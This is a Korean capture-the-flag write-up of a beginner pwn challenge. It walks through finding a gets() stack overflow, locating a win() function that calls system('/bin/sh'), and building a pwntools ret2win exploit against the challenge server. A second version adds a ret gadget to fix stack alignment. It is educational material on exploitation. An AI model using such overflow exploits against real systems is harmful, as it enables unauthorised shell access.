


딱히 특별한 취약점이 보이지 않는다. 하지만 main+103에서 vuln() 함수를 호출하고 있다. vuln() 함수를 한 번 보도록 하자.

vuln+8에서 rsp-0x30만큼 공간을 할당하고 puts() 함수를 통해 무언가를 출력해낸다. 아마 위에서 바이너리 실행했을 때 나온 "Welcome to PWN 101\n" 이지 않을까 싶다. 정말인지 확인해보고 싶다면 0x40200c를 확인해보면

해당 문자열이 맞다는걸 확인했다.
그리고 get() 함수를 통해 지정된 길이 없이 문자열을 받는다.
여기서 BOF가 터지는걸 확인할 수 있다.
BOF 취약점을 활용하여 rsp-0x30만큼 덮고 SFP인 64bit 기준 8byte를 추가로 덮어야 하기 때문에 더미 데이터인 b'A'값을 총 48 + 8 = 56bytes만큼 덮고 return 주소를 system("/bin/sh") 함수로 덮으면 될 것 같다. 그렇다면 system() 함수는 어디에 있을까?

info func 명령어를 통해 해당 바이너리에 있는 모든 함수들을 불러왔다. 저기에 win() 이라는 수상한 함수가 보인다. 저걸 한번 까보도록 한다.

win+18에 system() 함수를 호출한다. 진짜 우리가 찾는 system() 함수가 맞는지 확인해보기 위해 0x402004를 한번 까보자.

우리가 찾은 system() 함수가 system("/bin/sh") 함수라는걸 확인했다.
그럼 이제 우리는 return 주소를 win() 함수 주소로 덮도록 Exploit 코드를 짜면 된다.
from pwn import *
p = remote('0.cloud.chals.io', 13545)
binary = './pwnme'
offset = 56
win_addr = 0x401196
payload = b"A" * offset
payload += p64(win_addr)
#print(payload)
p.sendline(payload)
p.interactive()

뭔가 된 거 같으면서도 명령어가 안먹는다. 쉘이 탈취되기도 전에 EOF가 걸려버렸다.
이런 경우 스택정렬이 안되어 있을 가능성이 있다.
64비트 리눅스 환경에서는 함수 호출 전에 스택이 16바이트로 정렬되어 있어야 한다. 그러나 ret gadget을 추가하지않고 익스를 돌려버린다면 스택이 8바이트 씩 밀려 스택정렬이 맞지 않는 상태가 된다.
쉽게 얘기해서, 우리가 vuln() 함수를 호출한 다음에 win() 함수를 호출하여 쉘을 탈취하는 과정을 진행하고 있기 때문에 함수와 함수 사이에 일종의 '분기점'을 나눠서 스택을 구분지어 주는 코드를 삽입해야 하는 것이다. (나는 그렇게 이해하고있음.)
그 코드가 바로 ROP chain ret gadget이다.
Gadget에 대한 내용은 Return to Library와 Return Oriented Programming를 참고하면 될 것 같다.
ret gadget을 찾기위해서는 다음 명령어를 사용하면 된다.
나는 맨 위 0x40101a ret gadget을 사용했다.

왜 이리 많은 ret gadget이 있는지?
1. 컴파일러 최적화
- 컴파일러가 코드 최적화를 수행하면서 함수의 끝에서 자주 사용되는 ret 명령어를 여러 곳에 생성할 수 있다. 이로 인해 특정 함수의 끝에 ret 명령어가 여러 개 위치할 수 있다.
2. 라이브러리 함수나 코드 블록 마무리
- 바이너리 코드에는 여러 함수와 서브루틴이 포함될 수 있는데, 각 함수의 리턴 지점마다 ret 명령어가 있다.
- 이 파일에는 코드 블록이나 작은 함수들이 많아 보이며, 이들이 모두 ret으로 끝나기 때문에 ret 명령어가 많이 보이는 것이다.
본인 컴퓨터에 ROPgadget이 설치되어 있다면 다음 명령어도 가능하다.
ROPgadget --binary ./pwnme --only "ret"
from pwn import *
p = remote('0.cloud.chals.io', 13545)
binary = './pwnme'
offset = 56
win_addr = 0x401196
ret = 0x40101a
payload = b"A" * offset
payload += p64(ret) # 추가된 ret gadget
payload += p64(win_addr)
#print(payload)
p.sendline(payload)
p.interactive()

이렇게 Exploit에 성공하며 flag.txt 파일을 볼 수 있게 된다.